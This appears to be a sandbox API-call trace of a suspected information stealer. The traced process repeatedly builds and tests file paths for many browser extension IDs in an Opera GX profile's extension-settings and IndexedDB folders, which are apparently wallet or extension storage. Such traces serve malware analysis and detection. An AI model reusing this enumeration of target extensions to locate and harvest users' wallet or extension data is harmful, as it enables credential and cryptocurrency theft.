[0052.724] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.724] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\hnfanknocfeofbddgcijnmhnfnkdnaad\\current")) returned 0xffffffff
[0052.724] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.724] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.724] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.724] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln") returned 127
[0052.724] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln\\CURRENT") returned 135
[0052.724] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln") returned 126
[0052.724] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln\\CURRENT") returned 134
[0052.724] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hpglfhgfnhbgpjdenjgmdgoeiappafln_0.indexeddb.leveldb") returned 149
[0052.724] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hpglfhgfnhbgpjdenjgmdgoeiappafln_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.724] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln\\current")) returned 0xffffffff
[0052.724] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hpglfhgfnhbgpjdenjgmdgoeiappafln_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_hpglfhgfnhbgpjdenjgmdgoeiappafln_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.724] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.724] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.724] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne") returned 127
[0052.725] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne\\CURRENT") returned 135
[0052.725] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne") returned 126
[0052.725] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne\\CURRENT") returned 134
[0052.725] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb") returned 149
[0052.725] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.725] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.725] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.725] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.725] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj") returned 127
[0052.725] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj\\CURRENT") returned 135
[0052.725] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj") returned 126
[0052.725] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj\\CURRENT") returned 134
[0052.725] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_kncchdigobghenbbaddojjnnaogfppfj_0.indexeddb.leveldb") returned 149
[0052.725] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_kncchdigobghenbbaddojjnnaogfppfj_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.725] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\kncchdigobghenbbaddojjnnaogfppfj\\current")) returned 0xffffffff
[0052.725] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.725] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.725] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm") returned 127
[0052.725] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm\\CURRENT") returned 135
[0052.725] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm") returned 126
[0052.725] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm\\CURRENT") returned 134
[0052.725] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_nlbmnnijcnlegkjjpcfjclmcfggfefdm_0.indexeddb.leveldb") returned 149
[0052.725] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_nlbmnnijcnlegkjjpcfjclmcfggfefdm_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.725] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\sync extension settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm\\current")) returned 0xffffffff
[0052.725] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.725] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.725] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec") returned 127
[0052.725] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec\\CURRENT") returned 135
[0052.726] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec") returned 126
[0052.726] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec\\CURRENT") returned 134
[0052.726] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_fnjhmkhhmkbjkkabndcnnogagogbneec_0.indexeddb.leveldb") returned 149
[0052.726] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_fnjhmkhhmkbjkkabndcnnogagogbneec_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.726] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\fnjhmkhhmkbjkkabndcnnogagogbneec\\current")) returned 0xffffffff
[0052.726] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.726] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.726] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao") returned 127
[0052.726] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao\\CURRENT") returned 135
[0052.726] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao") returned 126
[0052.726] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao\\CURRENT") returned 134
[0052.726] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_cphhlgmgameodnhkjdmkpanlelnlohao_0.indexeddb.leveldb") returned 149
[0052.726] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_cphhlgmgameodnhkjdmkpanlelnlohao_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.726] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\cphhlgmgameodnhkjdmkpanlelnlohao\\current")) returned 0xffffffff
[0052.726] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.726] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.726] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk") returned 127
[0052.726] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk\\CURRENT") returned 135
[0052.726] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk") returned 126
[0052.726] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk\\CURRENT") returned 134
[0052.726] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_nhnkbkgjikgcigadomkphalanndcapjk_0.indexeddb.leveldb") returned 149
[0052.726] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_nhnkbkgjikgcigadomkphalanndcapjk_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.726] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\nhnkbkgjikgcigadomkphalanndcapjk\\current")) returned 0xffffffff
[0052.726] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.726] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.726] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn") returned 127
[0052.726] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn\\CURRENT") returned 135
[0052.727] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn") returned 126
[0052.727] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn\\CURRENT") returned 134
[0052.727] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_kpfopkelmapcoipemfendmdcghnegimn_0.indexeddb.leveldb") returned 149
[0052.727] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_kpfopkelmapcoipemfendmdcghnegimn_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.727] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\kpfopkelmapcoipemfendmdcghnegimn\\current")) returned 0xffffffff
[0052.727] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.727] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.727] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp") returned 127
[0052.727] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp\\CURRENT") returned 135
[0052.727] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp") returned 126
[0052.727] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp\\CURRENT") returned 134
[0052.727] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_aiifbnbfobpmeekipheeijimdpnlpgpp_0.indexeddb.leveldb") returned 149
[0052.727] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_aiifbnbfobpmeekipheeijimdpnlpgpp_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.727] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\aiifbnbfobpmeekipheeijimdpnlpgpp\\current")) returned 0xffffffff
[0052.727] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.727] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.727] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap") returned 127
[0052.727] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap\\CURRENT") returned 135
[0052.727] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap") returned 126
[0052.727] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap\\CURRENT") returned 134
[0052.727] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_dmkamcknogkgcdfhhbddcghachkejeap_0.indexeddb.leveldb") returned 149
[0052.727] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_dmkamcknogkgcdfhhbddcghachkejeap_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.727] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\dmkamcknogkgcdfhhbddcghachkejeap\\current")) returned 0xffffffff
[0052.727] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.727] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.727] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno") returned 127
[0052.727] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno\\CURRENT") returned 135
[0052.727] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno") returned 126
[0052.727] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno\\CURRENT") returned 134
[0052.728] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_fhmfendgdocmcbmfikdcogofphimnkno_0.indexeddb.leveldb") returned 149
[0052.728] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_fhmfendgdocmcbmfikdcogofphimnkno_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.728] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\fhmfendgdocmcbmfikdcogofphimnkno\\current")) returned 0xffffffff
